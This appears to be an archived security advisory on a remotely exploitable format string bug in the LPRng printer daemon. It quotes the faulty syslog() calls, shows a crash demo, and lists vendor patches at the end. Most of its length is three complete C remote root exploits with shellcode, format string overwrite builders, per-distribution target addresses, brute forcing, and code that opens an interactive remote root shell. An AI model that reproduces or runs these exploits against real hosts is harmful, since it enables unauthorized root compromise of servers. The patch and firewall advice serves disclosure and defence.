COMMAND
LPRng
SYSTEMS AFFECTED
LPRng
PROBLEM
There is a format bug in the LPRng printer daemon that could
possibly be exploited to obtain root privilege. This problem is
particulary severe because it can be exercised remotely.
This bugs has been found originally by Chris Evans. LPRng is
almost certainly vulnerable to remote-root compromise on account
of a format string bug. The flaw is almost identical to the
rpc.statd one; namely a faulty syslog() wrapper. This is becoming
a very common flaw. Here is a code excerpt from:
/LPRng-3.6.22/src/common/errormsg.c, use_syslog()
---
static void use_syslog(int kind, char *msg)
...
# ifdef HAVE_OPENLOG
/* use the openlog facility */
openlog(Name, LOG_PID | LOG_NOWAIT, SYSLOG_FACILITY );
syslog(kind, msg);
closelog();
# else
(void) syslog(SYSLOG_FACILITY | kind, msg);
# endif /* HAVE_OPENLOG */
...
---
Here we see two classic format string bugs. Both syslog() calls
are missing a "%s" format string argument.
But how exploitable is this? Does the daemon log any use supplied
data? Let's do a test on the extremely recently released
RedHat7.0, which has switched to LPRng.
[chris@localhost chris]$ telnet localhost printer
Trying 127.0.0.1...
Connected to localhost.localdomain (127.0.0.1).
Escape character is '^]'.
Mary had a little lamb.
Connection closed by foreign host.
...
grep lamb /var/log/messages
Sep 24 07:38:36 localhost SERVER[1282]: Dispatch_input: bad request line
'Mary had a little lamb.^M'
...
Well, how obliging of (particular version) of LPRng to log any
input line one gives it.
Just to confirm %'s cause trouble:
Client:
[chris@localhost chris]$ telnet localhost printer
Trying 127.0.0.1...
Connected to localhost.localdomain (127.0.0.1).
Escape character is '^]'.
%s%s%s%s%s%s%s%s%s%s
Server:
Program received signal SIGSEGV, Segmentation fault.
0x400f7c66 in _IO_vfprintf (s=0x80c53a0,
format=0xbffff190 "Dispatch_input: bad request line
'%s%s%s%s%s%s%s%s%s%s^M'", ap=0xbfffed0c) at
../sysdeps/i386/i486/bits/string.h:529
(gdb) bt
#0 0x400f7c66 in _IO_vfprintf (s=0x80c53a0,
format=0xbffff190 "Dispatch_input: bad request line
'%s%s%s%s%s%s%s%s%s%s^M'", ap=0xbfffed0c) at
../sysdeps/i386/i486/bits/string.h:529
#1 0x4017d60b in vsyslog (pri=6,
fmt=0xbffff190 "Dispatch_input: bad request line
'%s%s%s%s%s%s%s%s%s%s^M'", ap=0xbfffed08) at syslog.c:193
#2 0x4017d447 in syslog (pri=6,
fmt=0xbffff190 "Dispatch_input: bad request line
'%s%s%s%s%s%s%s%s%s%s^M'")
at syslog.c:102
...
The program has root privs at this time;
(gdb) print geteuid()
$1 = 4 <-- initially encouraging
(gdb) print getuid()
$2 = 0 <-- depressing
And now, the exploits. Here is the first one:
/* LPRng remote root exploit for x86 Linux
* 9/27/00
*
* - sk8
* tested on compiled LPRng 3.6.22/23/24
*
*/
#include <unistd.h>
#include <stdio.h>
char sc[]=
"\x29\xdb\x29\xc0\x29\xd2\x31\xc9\xfe\xca\xb0\x46\xcd\x80\x29\xff"
"\x47\x47\x47\x43\x43\x43\x31\xc9\x29\xc0\xb0\x3f\xcd\x80\x41\x39"
"\xf9\x75\xf5\x39\xd3\x7e\xee\xeb\x19\x5e\x89\xf3\x89\xf7\x83\xc7"
"\x07\x31\xc0\xaa\x89\xf9\x89\xf0\xab\x89\xfa\x31\xc0\xab\xb0\x0b"
"\xcd\x80\xe8\xe2\xff\xff\xff/bin/sh"
;
#define NOP 0x90 //will be split up, doesn't matter
int main(int argc, char** argv) {
char getbuf[1000];
int bpad=0; /* was 2 */ /* 3 for other */
/* 2 - -34
3 - -41
0 - -42
*/
int i=0;
int eiploc=0x41424344;
char buffer[1024];
char fmtbuf[128];
int shloc=-1; //0xbffff2c8;
int hi=100;
int lo=200;
int pre=0;
int align=-36;
int pos=511; //483; //488; /*299;*/
int debug=0;
char s=0;
char mode='n';
while ( ( s=getopt(argc, argv, "a:b:e:s:p:d")) != EOF) {
switch(s) {
case 'a': align=atoi(optarg); break;
case 'b': bpad=atoi(optarg);
break;
case 'e': eiploc=strtoul(optarg, 0,0);
break;
case 's': shloc=strtoul(optarg, 0, 0);
break;
case 'p': pos=atoi(optarg); break;
case 'd': debug=1; break;
default:
}
}
if (shloc == -1) shloc=eiploc+2450;
memset(buffer, 0, sizeof(buffer));
memset(fmtbuf, 0, sizeof(fmtbuf));
memset(buffer, 'B', bpad);
*(long*)(buffer+strlen(buffer))=eiploc+2;
*(long*)(buffer+strlen(buffer))=0x50505050;
*(long*)(buffer+strlen(buffer))=eiploc;
pre=strlen(buffer);
if (debug) { mode='p'; hi=100; lo=100; }
else {
hi=((shloc >> 16)&0xffff)-pre+align; /* was no 7 */
lo=((shloc >> 0)&0xffff)+0x10000-((shloc >> 16)&0xffff);
}
sprintf(fmtbuf, "%%%dd%%%d$h%c%%%dd%%%d$h%c", hi, pos, mode, lo, pos+2,
mode);
strcat(buffer+strlen(buffer), fmtbuf);
/* make it easier to hit shellcode */
memset(buffer+strlen(buffer), NOP, 385);
strcat(buffer, sc);
*(char*)(buffer+strlen(buffer))=0;
fprintf(stderr, "strlen(fmtbuf): %i\n", strlen(fmtbuf));
fprintf(stderr, "pos: %i\n", pos);
fprintf(stderr, "align: %i\n", align);
fprintf(stderr, "eip location: 0x%x\n", eiploc);
fprintf(stderr, "shellcode location: 0x%x\n", shloc);
fprintf(stderr, "strlen(sc): %i\n", strlen(sc));
fprintf(stderr, "strlen(buffer): %i\n", strlen(buffer));
printf("%s", buffer);
putchar('\n');
}
Another one:
/*
* Copyright (c) 2000 - Security.is
*
* The following material may be freely redistributed, provided
* that the code or the disclaimer have not been partly removed,
* altered or modified in any way. The material is the property
* of security.is. You are allowed to adopt the represented code
* in your programs, given that you give credits where it's due.
*
* security.is presents: LPRng/Linux remote root lpd exploit.
*
* Author: DiGiT - teddi@linux.is
*
* Thanks to: portal for elite formatstring talent ;>
* Greets to: security.is, #!ADM
*
* Wrote it because I wanted to hack my co-workers machines ;>
*
* Run: ./SEClpd victim brute -t type
*
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <fcntl.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#define ADDRESS_BUFFER_SIZE 32+4
#define APPEND_BUFFER_SIZE 52
#define FORMAT_LENGTH 512-8
#define NOPCOUNT 200
#define SHELLCODE_COUNT 1030
#define DELAY 50000 /* usecs */
#define OFFSET_LIMIT 5000
char shellcode[] =
"\x31\xdb\x31\xc9\x31\xc0\xb0\x46\xcd\x80"
"\x89\xe5\x31\xd2\xb2\x66\x89\xd0\x31\xc9\x89\xcb\x43\x89\x5d\xf8"
"\x43\x89\x5d\xf4\x4b\x89\x4d\xfc\x8d\x4d\xf4\xcd\x80\x31\xc9\x89"
"\x45\xf4\x43\x66\x89\x5d\xec\x66\xc7\x45\xee\x0f\x27\x89\x4d\xf0"
"\x8d\x45\xec\x89\x45\xf8\xc6\x45\xfc\x10\x89\xd0\x8d\x4d\xf4\xcd"
"\x80\x89\xd0\x43\x43\xcd\x80\x89\xd0\x43\xcd\x80\x89\xc3\x31\xc9"
"\xb2\x3f\x89\xd0\xcd\x80\x89\xd0\x41\xcd\x80\xeb\x18\x5e\x89\x75"
"\x08\x31\xc0\x88\x46\x07\x89\x45\x0c\xb0\x0b\x89\xf3\x8d\x4d\x08"
"\x8d\x55\x0c\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh";
struct target
{
char *os_name;
u_long eip_address;
u_long shellcode_address;
unsigned int position;
int written_bytes;
int align;
};
struct target targets[] =
{
{ "RedHat 7.0 - Guinesss ", 0xbffff3ec, 0L, 300, 70, 2, },
{ "RedHat 7.0 - Guinesss-dev", 0xbffff12c, 0L, 300, 70, 2, },
{
NULL, 0L, 0L, 0, 0, 0
}
};
static char address_buffer[ADDRESS_BUFFER_SIZE+1];
static char append_buffer[APPEND_BUFFER_SIZE+1];
static char shellcode_buffer[1024];
static char *hostname=NULL;
static int offset;
static struct hostent *he;
int type=-1;
int brute=-1, failure=1;
void calculate_rets(u_long eip_addr, u_long shellcode_addr, u_int
previous, u_int addr_loc)
{
int i;
unsigned int tmp = 0;
unsigned int copied = previous;
unsigned int num[4] =
{
(unsigned int) (shellcode_addr & 0x000000ff),
(unsigned int)((shellcode_addr & 0x0000ff00) >> 8),
(unsigned int)((shellcode_addr & 0x00ff0000) >> 16),
(unsigned int)((shellcode_addr & 0xff000000) >> 24)
};
memset (address_buffer, '\0', sizeof(address_buffer));
memset (append_buffer, '\0', sizeof(append_buffer));
for (i = 0; i < 4; i++)
{
while (copied > 0x100)
copied -= 0x100;
if ( (i > 0) && (num[i-1] == num[i]) )
sprintf (append_buffer+strlen(append_buffer), "%%%d$n", addr_loc+i);
else if (copied < num[i])
{
if ( (num[i] - copied) <= 10)
{
sprintf (append_buffer+strlen(append_buffer), "%.*s",
(int)(num[i] - copied), "security.is!");
copied += (num[i] - copied);
sprintf (append_buffer+strlen(append_buffer), "%%%d$n", addr_loc+i); } else {
sprintf (append_buffer+strlen(append_buffer), "%%.%du",
num[i] - copied);
copied += (num[i] - copied);
sprintf (append_buffer+strlen(append_buffer), "%%%d$n", addr_loc+i); }
} else {
tmp = ((num[i] + 0x100) - copied);
sprintf (append_buffer+strlen(append_buffer), "%%.%du", tmp);
copied += ((num[i] + 0x100) - copied);
sprintf (append_buffer+strlen(append_buffer), "%%%d$n", addr_loc+i);
}
sprintf (address_buffer+strlen(address_buffer), "%c%c%c%c",
(unsigned char) ((eip_addr+i) & 0x000000ff),
(unsigned char)(((eip_addr+i) & 0x0000ff00) >> 8),
(unsigned char)(((eip_addr+i) & 0x00ff0000) >> 16),
(unsigned char)(((eip_addr+i) & 0xff000000) >> 24));
}
while (strlen(address_buffer) < ADDRESS_BUFFER_SIZE)
strcat (address_buffer, "X");
#ifdef DEBUG
printf ("\nGeneration complete:\nAddress: ");
for (i = 0; i < strlen(address_buffer); i++)
{
if ( ((i % 4) == 0) && (i > 0) )
printf (".");
printf ("%02x", (unsigned char)address_buffer[i]);
}
printf ("\nAppend: %s\n", append_buffer);
#endif
return;
}
char *create_malicious_string(void)
{
static char format_buffer[FORMAT_LENGTH+1];
long addr1,addr2;
int i;
memset (format_buffer, '\0', sizeof(format_buffer));
targets[type].shellcode_address = targets[type].eip_address + SHELLCODE_COUNT;
addr1 = targets[type].eip_address;
addr2 = targets[type].shellcode_address;
calculate_rets (addr1, addr2,targets[type].written_bytes, targets[type].position);
(void)snprintf (format_buffer, sizeof(format_buffer)-1, "%.*s%s",
targets[type].align, "BBBB", address_buffer);
strncpy (address_buffer, format_buffer, sizeof(address_buffer)-1);
strncpy (format_buffer, append_buffer, sizeof(format_buffer)-1);
for(i = 0 ; i < NOPCOUNT ; i++)
strcat(format_buffer, "\x90");
strcat(format_buffer, shellcode);
return (format_buffer);
}
int connect_victim()
{
int sockfd, n;
struct sockaddr_in s;
fd_set fd_stat;
char buff[1024];
static char testcmd[256] = "/bin/uname -a ; id ;\r\n";
s.sin_family = AF_INET;
s.sin_port = htons (3879);
s.sin_addr.s_addr = *(u_long *)he->h_addr;
if ((sockfd = socket (AF_INET, SOCK_STREAM, 0)) < 0)
{
printf ("--- [5] Unable to create socket!\n");
printf("Exploit failed!\n");
return -1;
}
if ((connect (sockfd, (struct sockaddr *) &s, sizeof (s))) < 0)
{
return -1;
}
if(brute)
printf("+++ The eip_address is 0x%x\n\n", targets[type].eip_address);
printf("- [+] shell located on %s\n", hostname);
printf("- [+] Enter Commands at will\n\n");
failure = -1;
FD_ZERO(&fd_stat);
FD_SET(sockfd, &fd_stat);
send(sockfd, testcmd, strlen(testcmd), 0);
while(1) {
FD_SET(sockfd,&fd_stat);
FD_SET(0,&fd_stat);
if(select(sockfd+1,&fd_stat,NULL,NULL,NULL)<0) break;
if( FD_ISSET(sockfd, &fd_stat) ) {
if((n=read(sockfd,buff,sizeof(buff)))<0){
fprintf(stderr, "EOF\n");
return 2;
}
if(write(1,buff,n)<0)break;
}
if ( FD_ISSET(0, &fd_stat) ) {
if((n=read(0,buff,sizeof(buff)))<0){
fprintf(stderr,"EOF\n");
return 2;
}
if(send(sockfd,buff,n,0)<0) break;
}
}
}
void send_code(char *exploit_buffer)
{
int sockfd, n;
struct sockaddr_in s;
fd_set fd_stat;
char recv[1024];
static char testcmd[256] = "/bin/uname -a ; id ;\r\n";
s.sin_family = AF_INET;
s.sin_port = htons (515);
s.sin_addr.s_addr = *(u_long *)he->h_addr;
if ((sockfd = socket (AF_INET, SOCK_STREAM, 0)) < 0)
{
printf ("--- [5] Unable to create socket!\n");
printf("Exploit failed!\n");
exit(-1);
}
if ((connect (sockfd, (struct sockaddr *) &s, sizeof (s))) < 0)
{
printf ("--- [5] Unable to connect to %s\n", hostname);
printf("Exploit failed, %s is not running LPD!\n", hostname);
exit(-1);
}
usleep(DELAY);
if(write (sockfd, exploit_buffer, strlen(exploit_buffer)) < 0)
{
printf ("Couldn't write to socket %d", sockfd);
printf ("Exploit failed\n");
exit(2);
}
close(sockfd);
connect_victim();
}
void usage(char *program)
{
int i=0;
printf("SEClpd by DiGiT of ADM/security.is ! \n\n");
printf("Usage: %s victim [\"brute\"] -t type [-o offset] [-a align] [-p position] [-r eip_addr] [-c shell_addr] [-w written_bytes] \n\n", program);
printf("ie: ./SEClpd localhost -t 0 For most redhat 7.0 boxes\n");
printf("ie: ./SEClpd localhost brute -t 0 For brute forcing all redhat 7.0 boxes\n");
printf("Types:\n\n");
while( targets[i].os_name != NULL)
printf ("[ Type %d: [ %s ]\n", i++, targets[i].os_name);
}
int main(int argc, char **argv)
{
char exploit_buffer[1024];
char *format = NULL;
int c, brutecount=0;
if(argc < 3)
{
usage(argv[0]);
return 1;
}
hostname = argv[1];
if(!strncmp(argv[2], "brute", 5)) brute = 1;
while(( c = getopt (argc, argv, "t:r:c:a:o:p:w:k"))!= EOF){
switch (c)
{
case 't':
type = atoi(optarg);
break;
case 'r':
targets[type].eip_address = strtoul(optarg, NULL, 16);
break;
case 'c':
targets[type].shellcode_address = strtoul(optarg, NULL, 16);
break;
case 'a':
targets[type].align = atoi(optarg);
break;
case 'o':
offset = atoi(optarg);
break;
case 'p':
targets[type].position = atoi(optarg);
break;
case 'w':
targets[type].written_bytes = atoi(optarg);
break;
default:
usage(argv[0]);
return 1;
}
}
if(type < 0)
{
printf("You must specify a type!\n");
printf("example: ./SEClpd victim -t 0\n");
return -1;
}
if ( (he = gethostbyname (hostname)) == NULL)
{
herror("gethostbyname");
exit(1);
}
targets[type].shellcode_address = targets[type].eip_address + SHELLCODE_COUNT;
printf("+++ Security.is remote exploit for LPRng/lpd by DiGiT\n\n");
/* SOLcrew r0x */
printf("+++ Exploit information\n");
printf("+++ Victim: %s\n", hostname);
printf("+++ Type: %d - %s\n", type, targets[type].os_name);
printf("+++ Eip address: 0x%x\n", targets[type].eip_address);
printf("+++ Shellcode address: 0x%x\n", targets[type].shellcode_address);
printf("+++ Position: %d\n", targets[type].position);
printf("+++ Alignment: %d\n", targets[type].align);
printf("+++ Offset %d\n", offset);
printf("\n");
printf("+++ Attacking %s with our format string\n", hostname);
if( brute > 0 )
{
printf("+++ Brute force man, relax and enjoy the ride ;>\n");
targets[type].eip_address = 0xbffffff0;
while(failure)
{
memset(exploit_buffer, '\0', sizeof(exploit_buffer));
format = create_malicious_string();
strcpy(exploit_buffer, address_buffer);
strcat(exploit_buffer, format);
strcat(exploit_buffer, "\n");
send_code(exploit_buffer);
targets[type].eip_address = 0xbffffff0 - offset;
offset+=4;
if (offset > OFFSET_LIMIT) {
printf("+++ Offset limit hit, ending brute mode ;<\n");
return -1;
}
}
}
else
format = create_malicious_string();
strcpy(exploit_buffer, address_buffer);
strcat(exploit_buffer, format);
strcat(exploit_buffer, "\n");
send_code(exploit_buffer);
printf("Argh exploit failed$#%! try brute force!\n");
return (-1);
}
Yet another one:
/*
* REMOTE ROOT EXPLOIT for linux x86 - LPRng-3.6.24-1 (RedHat 7.0)
*
* The RedHat 7.0 replaced the BSD lpr with the LPRng package which is
* vulnerable to format string attacks because it passes information
* to the syslog incorrectly.
* You can get remote root access on machines running RedHat 7.0 with
* lpd running (port 515/tcp) if it is not fixed, of course (3.6.25).
*
* bonus: I tested it too on slackware 7.0 with LPRng3.6.22-1, remember
* is -not- installed by default (isnt a package of the slackware).
*
* and,.. this code is for educational propourses only, do not use
* it on remote machines without authorization.
*
* greets: bruj0, ka0z, dn0, #rdC and #flatline
*
* coded by venomous of rdC - Argentinian security group.
* venomous@rdcrew.com.ar
* http://www.rdcrew.com.ar
*
*/
#include <stdio.h>
#include <string.h>
#include <netdb.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/time.h>
#include <unistd.h>
#include <errno.h>
#include <time.h>
#include <signal.h>
char shellcode[]= // not mine
"\x31\xc0\x31\xdb\x31\xc9\xb3\x07\xeb\x67\x5f\x8d\x4f"
"\x07\x8d\x51\x0c\x89\x51\x04\x8d\x51\x1c\x89\x51\x08"
"\x89\x41\x1c\x31\xd2\x89\x11\x31\xc0\xc6\x41\x1c\x10"
"\xb0\x66\xcd\x80\xfe\xc0\x80\x79\x0c\x02\x75\x04\x3c"
"\x01\x74\x0d\xfe\xc2\x80\xfa\x01\x7d\xe1\x31\xc0\xfe"
"\xc0\xcd\x80\x89\xd3\x31\xc9\x31\xc0\xb0\x3f\xcd\x80"
"\xfe\xc1\x80\xf9\x03\x75\xf3\x89\xfb\x31\xc0\x31\xd2"
"\x88\x43\x07\x89\x5b\x08\x8d\x4b\x08\x89\x43\x0c\xb0"
"\x0b\xcd\x80\x31\xc0\xfe\xc0\xcd\x80\xe8\x94\xff\xff"
"\xff\x2f\x62\x69\x6e\x2f\x73\x68";
void usage(char *prog);
void makebuffer(char *addr, char *shaddr, int addroffset, int shoffset, int padding , int fsc);
void sigint();
void sigalarm();
void mk_connect(char victim[128], int port);
char yahoo[1024];
struct os
{
char *addr;
char *shelladdr;
char *desc;
int addroffset;
int shelladdroffset;
int pad;
int fsc;
};
/* generally, the addresses are wrong for a very small value,, i recommend
* that you bruteforce the retloc + or - by 1..(ex: -50 to +50, steps of 1)
* if it dont work, try the same but changing the fsc (this is the value
* of when we start to control the formats strings), start from 290 until
* 330, it should be enough.
* and if it still dont work,, :|, try with the offset of the shellcode
* address, this buffer has nops, so it shouldnt be difficult to guess.
* make a .sh! :)
* of course, you can start gdb on your box(es) and dont guess nothing
* just inspect the program and get the correct values!
*
* -venomous
*/
struct os target[]=
{
{"0xbfffee30", "0xbffff640", "Slackware 7.0 with LPRng-3.6.22.tgz - started from shell", 0, 0, 2, 299},
{"0xbffff0f0", "0xbffff920", "RedHat 7.0 (Guinness) with LPRng-3.6.22/23/24-1 from rpm - glibc-2.2-5", 0, 0, 2, 304},
{NULL,NULL,NULL,0,0}
};
main(int argc, char *argv[])
{
int port=515,
so=0,
padding=0,
retlocoffset=0,
shellcodeoffset=0,
fscT=0;
char arg,
victim[128],
rl[128],
sh[128];
if(argc < 3)
usage(argv[0]);
bzero(victim,sizeof(victim));
bzero(rl,sizeof(rl));
bzero(sh,sizeof(sh));
while ((arg = getopt(argc, argv, "h:p:r:s:t:P:R:S:c")) != EOF)
{
switch(arg)
{
case 'h':
strncpy(victim,optarg,128);
break;
case 'p':
port = atoi(optarg);
break;
case 'r':
strncpy(rl,optarg,128);
break;
case 's':
strncpy(sh,optarg,128);
break;
case 't':
so = atoi(optarg);
break;
case 'P':
padding = atoi(optarg);
break;
case 'R':
retlocoffset = atoi(optarg);
break;
case 'S':
shellcodeoffset = atoi(optarg);
break;
case 'c':
fscT = atoi(optarg);
break;
default:
usage(argv[0]);
break;
}
}
if(strlen(victim) == 0)
usage(argv[0]);
if (strcmp(rl,""))
target[so].addr = rl;
if (strcmp(sh,""))
target[so].shelladdr = sh;
if (retlocoffset != 0)
target[so].addroffset = target[so].addroffset + retlocoffset;
if (shellcodeoffset != 0)
target[so].shelladdroffset = target[so].shelladdroffset + shellcodeoffset;
if (padding != 0)
target[so].pad = target[so].pad + padding;
if (fscT != 0)
target[so].fsc = target[so].fsc + fscT;
signal(SIGINT, sigint);
makebuffer(target[so].addr, target[so].shelladdr, target[so].addroffset, target[so].shelladdroffset, target[so].pad, target[so].fsc);
mk_connect(victim, port);
}
void makebuffer(char *addr, char *shaddr, int addroffset, int shoffset, int padding, int fsc)
{
char *tmp,
addrtmp[216],
ot[128];
int i,b,x,t;
unsigned long pt;
char temp[128];
char a1,a2,a3,a4,a5,a6,a7,a8;
char fir[12],sec[12],thr[12],f0r[12];
unsigned long firl,secl,thrl,forl;
unsigned long pas1,pas2,pas3,pas4;
bzero(yahoo,sizeof(yahoo));
bzero(ot,sizeof(ot));
bzero(addrtmp,sizeof(addrtmp));
printf("** LPRng remote root exploit coded by venomous of rdC **\n");
printf("\nconstructing the buffer:\n\n");
printf("adding bytes for padding: %d\n",padding);
for(i=0 ; i < padding ; i++)
strcat(yahoo,"A");
tmp = addr;
pt = strtoul(addr, &addr,16) + addroffset;
addr = tmp;
printf("retloc: %s + offset(%d) == %p\n", addr, addroffset, pt);
printf("adding resulting retloc(%p)..\n",pt);
sprintf(addrtmp, "%p", pt);
if(strlen(addr) != 10)
{
printf("Error, retloc is %d bytes long, should be 10\n",strlen(addr));
exit(1);
}
pt = 0;
for (i=0 ; i < 4 ; i++)
{
pt = strtoul(addrtmp, &addrtmp, 16);
//strcat(yahoo, &pt);
bzero(ot,sizeof(ot));
sprintf(ot,"%s",&pt);
strncat(yahoo,ot,4);
pt++;
sprintf(addrtmp, "%p", pt);
//printf("addrtmp:%s :yahoo %s\n",addrtmp,yahoo);
}
tmp = shaddr;
pt = 0;
pt = strtoul(shaddr,&shaddr,16) + shoffset;
sprintf(ot,"%p",pt);
shaddr = ot;
printf("adding shellcode address(%s)\n", shaddr);
sscanf(shaddr,"0x%c%c%c%c%c%c%c%c",&a1,&a2,&a3,&a4,&a5,&a6,&a7,&a8);
sprintf(fir,"0x%c%c",a1,a2);
sprintf(sec,"0x%c%c",a3,a4);
sprintf(thr,"0x%c%c",a5,a6);
sprintf(f0r,"0x%c%c",a7,a8);
firl = strtoul(fir,&fir,16);
secl = strtoul(sec,&sec,16);
thrl = strtoul(thr,&thr,16);
forl = strtoul(f0r,&f0r,16);
pas1 = forl - 50 - padding;
pas1 = check_negative(pas1);
pas2 = thrl - forl;
pas2 = check_negative(pas2);
pas3 = secl - thrl;
pas3 = check_negative(pas3);
pas4 = firl - secl;
pas4 = check_negative(pas4);
sprintf(temp,"%%.%du%%%d$n%%.%du%%%d$n%%.%du%%%d$n%%.%du%%%d$n",pas1,fsc, pas2, fsc+1, pas3, fsc+2,pas4, fsc+3);
strcat(yahoo,temp);
printf("adding nops..\n");
b = strlen(yahoo);
for (i=0 ; i < (512-b-strlen(shellcode)) ; i++)
yahoo[b+i] = '\x90';
printf("adding shellcode..\n");
b=+i;
for (x=0 ; x < b ; x++)
yahoo[b+x] = shellcode[x];
strcat(yahoo,"\n");
printf("all is prepared.. now lets connect to something..\n");
}
check_negative(unsigned long addr)
{
char he[128];
sprintf(he,"%d",addr);
if (atoi(he) < 0)
addr = addr + 256;
return addr;
}
void mk_connect(char victim[128], int port)
{
struct hostent *host;
struct sockaddr_in den0n;
int sox;
den0n.sin_family = AF_INET;
den0n.sin_port = htons(port);
host = gethostbyname(victim);
if (!host)
{
printf("cannot resolve, exiting...\n");
exit(0);
}
bcopy(host->h_addr, (struct in_addr *)&den0n.sin_addr, host->h_length);
sox = socket(AF_INET, SOCK_STREAM, 0);
signal(SIGALRM, sigalarm);
alarm(10);
printf("connecting to %s to port %d\n",host->h_name, port);
if (connect(sox, (struct sockaddr *)&den0n, sizeof(struct sockaddr)) < 0)
{
putchar('\n');
perror("connect");
exit(1);
}
printf("connected!, sending the buffer...\n\n");
write(sox, yahoo , strlen(yahoo));
printf("%s\n", yahoo);
sleep(1);
alarm(0);
runshell(sox);
}
int runshell(int sox)
{
fd_set rset;
int n;
char buffer[4096];
char *command="/bin/uname -a ; /usr/bin/id\n";
send(sox, command, strlen(command), 0);
for (;;) {
FD_ZERO (&rset);
FD_SET (sox, &rset);
FD_SET (STDIN_FILENO, &rset);
n = select(sox + 1, &rset, NULL, NULL, NULL);
if(n <= 0)
return (-1);
if(FD_ISSET (sox, &rset)) {
n = recv (sox, buffer, sizeof (buffer), 0);
if (n <= 0)
break;
write (STDOUT_FILENO, buffer, n);
}
if(FD_ISSET (STDIN_FILENO, &rset)) {
n = read (STDIN_FILENO, buffer, sizeof (buffer));
if (n <= 0)
break;
send(sox, buffer, n, 0);
}
}
return (0);
}
void sigalarm()
{
printf("connection timed out, exiting...\n");
exit(0);
}
void sigint()
{
printf("CAUGHT sigint, exiting...\n");
exit(0);
}
void usage(char *prog)
{
int i;
printf("\n** LPRng remote root exploit coded by venomous of rdC **\n");
printf("Usage:\n\n");
printf("%s [-h hostname] <-p port> <-r addr> <-s shellcodeaddr> <-t type> <-P padding> <-R offset> <-S offset> <-c offset>\n\n", prog);
printf("-h is the victim ip/host\n");
printf("-p select a different port to connect, default 515\n");
printf("-r is the address to overwrite\n");
printf("-s is the address of the shellcode\n");
printf("You can use a predefined addr/shellcodeaddr using -t <number>\n\n");
printf("availables types:\n\n");
for (i=0 ; target[i].desc != NULL ; i++)
printf("%d - %s\n",i,target[i].desc);
printf("\n-P is to define the padding to use, usually 2\n");
printf("-R the offset to add to <addr>\n");
printf("-S the offset to add to <shellcodeaddr>\n");
printf("-c where we start to control the format string\n\n");
exit(0);
}
SOLUTION
The proper solution is to upgrade to the fixed packages. Patches:
ftp://ftp.calderasystems.com/pub/updates/OpenLinux/2.3/current/RPMS/
ftp://ftp.calderasystems.com/pub/updates/OpenLinux/2.3/current/SRPMS
RPMS/LPRng-3.5.3-3.i386.rpm
RPMS/LPRng-doc-3.5.3-3.i386.rpm
RPMS/LPRng-doc-ps-3.5.3-3.i386.rpm
RPMS/LPRng-lpd-3.5.3-3.i386.rpm
SRPMS/LPRng-3.5.3-3.src.rpm
ftp://ftp.calderasystems.com/pub/updates/eServer/2.3/current/RPMS/
ftp://ftp.calderasystems.com/pub/updates/eServer/2.3/current/SRPMS
RPMS/LPRng-3.5.3-3.i386.rpm
RPMS/LPRng-doc-3.5.3-3.i386.rpm
RPMS/LPRng-doc-ps-3.5.3-3.i386.rpm
RPMS/LPRng-lpd-3.5.3-3.i386.rpm
SRPMS/LPRng-3.5.3-3.src.rpm
ftp://ftp.calderasystems.com/pub/updates/eDesktop/2.4/current/RPMS/
ftp://ftp.calderasystems.com/pub/updates/eDesktop/2.4/current/SRPMS
RPMS/LPRng-3.5.3-3.i386.rpm
RPMS/LPRng-doc-3.5.3-3.i386.rpm
RPMS/LPRng-doc-ps-3.5.3-3.i386.rpm
RPMS/LPRng-lpd-3.5.3-3.i386.rpm
SRPMS/LPRng-3.5.3-3.src.rpm
For RedHat:
ftp://updates.redhat.com/7.0/i386/LPRng-3.6.24-2.i386.rpm
ftp://updates.redhat.com/7.0/SRPMS/LPRng-3.6.24-2.src.rpm
The lprng packages as shipped with SuSE distributions are not
susceptible to the attacks targeting the format string parsing
errors found by Chris Evans. SuSE Linux comes with an lprng
package version 3.6.12 in SuSE-6.3, 3.6.13 in 6.4 and back to
3.6.12 in 7.0.
For Trustix Linux:
- LPRng-3.6.24-1tr.i586.rpm
For FreeBSD:
ftp://ftp.FreeBSD.org/pub/FreeBSD/ports/i386/packages-3-stable/sysutils/LPRng-3.6.25.tgz
ftp://ftp.FreeBSD.org/pub/FreeBSD/ports/i386/packages-4-stable/sysutils/LPRng-3.6.25.tgz
ftp://ftp.FreeBSD.org/pub/FreeBSD/ports/alpha/packages-4-stable/sysutils/LPRng-3.6.25.tgz
ftp://ftp.FreeBSD.org/pub/FreeBSD/ports/i386/packages-5-current/sysutils/LPRng-3.6.25.tgz
ftp://ftp.FreeBSD.org/pub/FreeBSD/ports/alpha/packages-5-current/sysutils/LPRng-3.6.25.tgz
For TurboLinux:
ftp://ftp.turbolinux.com/pub/updates/6.0/security/LPRng-3.6.26-1.i386.rpm
ftp://ftp.turbolinux.com/pub/updates/6.0/SRPMS/LPRng-3.6.26-1.src.rpm
Upgrade to a non-vulnerable version of LPRng (3.6.25) as mentioned
avove. Alternately, you can obtain the version of LPRng which
fixes the missing format string at:
ftp://ftp.astart.com/pub/LPRng/LPRng/LPRng-3.6.25.tgz
Disallow access to printer service ports (typically 515/tcp)
using firewall or packet-filtering technologies.